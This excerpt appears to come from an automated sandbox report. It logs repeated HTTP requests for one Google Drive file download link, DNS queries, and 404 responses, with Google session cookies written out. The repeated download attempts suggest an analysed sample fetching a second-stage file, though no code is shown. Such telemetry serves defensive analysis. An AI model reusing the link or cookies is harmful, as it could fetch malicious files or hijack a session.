Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iEV-M6xRBKylbHZOuRhWPdT5KtVGXWWiqfBqH84hyb5OIc8I7q3Jhhc9RRLzMC0V0-IA9EK63QContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:37:09 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'nonce-LM3fBOy5dfVJ_qK3-N5tow' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerSet-Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc; expires=Thu, 21-Aug-2025 19:37:09 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=noneAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iEX9Gm1a4xFQvguwR5hXuoUQE1l7CKL6Ok9qNaTD2OAZQSLvIcYaOQNQTTfX84IwHQbSo7kYRMContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:37:11 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-zZV5bmuc0k8oZQWUZBIlOA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iFyN-vFvu5EjdmRejmnZjAIjtmn4LAcC2OQqQs8i02Xvhqq3-U58HzSYNA19a9TdWruContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:37:13 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-n3R9SZGADYogmx9FHNX6mA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iFcY0lvrtL4YuvyF8NYRn8i01F3YBChLsAb7Bwyg-RRcWhSePgVly1NnFM2GAc_28sTyW59SvAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:37:16 GMTContent-Security-Policy: script-src 'nonce-gc-s49UqbBMVm3-I4ewujA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iFos-Tgdg_BDLlM-UcTuscd2kFGQIG_D9cQIQ8RnFr6UgLiKQ1pozkN7aqtjyN9XvN9WuPB2zQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:37:18 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-4CmXkazV0qBuzT-YciZdcA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iHmE-kBN-YdzEw8WtHMx5QjHLuslR134U_sexqy8l2XWzoob8Xmk3BsrzBOJAAggWQ0Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:37:20 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-3ew0E4jO7T1lw9pS5Mmv9w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iGKjP68HP9VC42PL3CDt1eOFVacEKRU-QfqknBUjYFzr26pWHJ_aJ-iKmFCJ_smm4VoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:37:23 GMTContent-Security-Policy: script-src 'nonce-93vWSZn4uGGRW95tIGE1fg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iHLRRJpA_rtAjf6JrFkkoHoWMFqvYZKU5SvQB5jGS-PgcI4MDTrEG44SX383hcUz3fuContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:37:25 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-Dm0v7dqXjuuponebU-Lk1w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
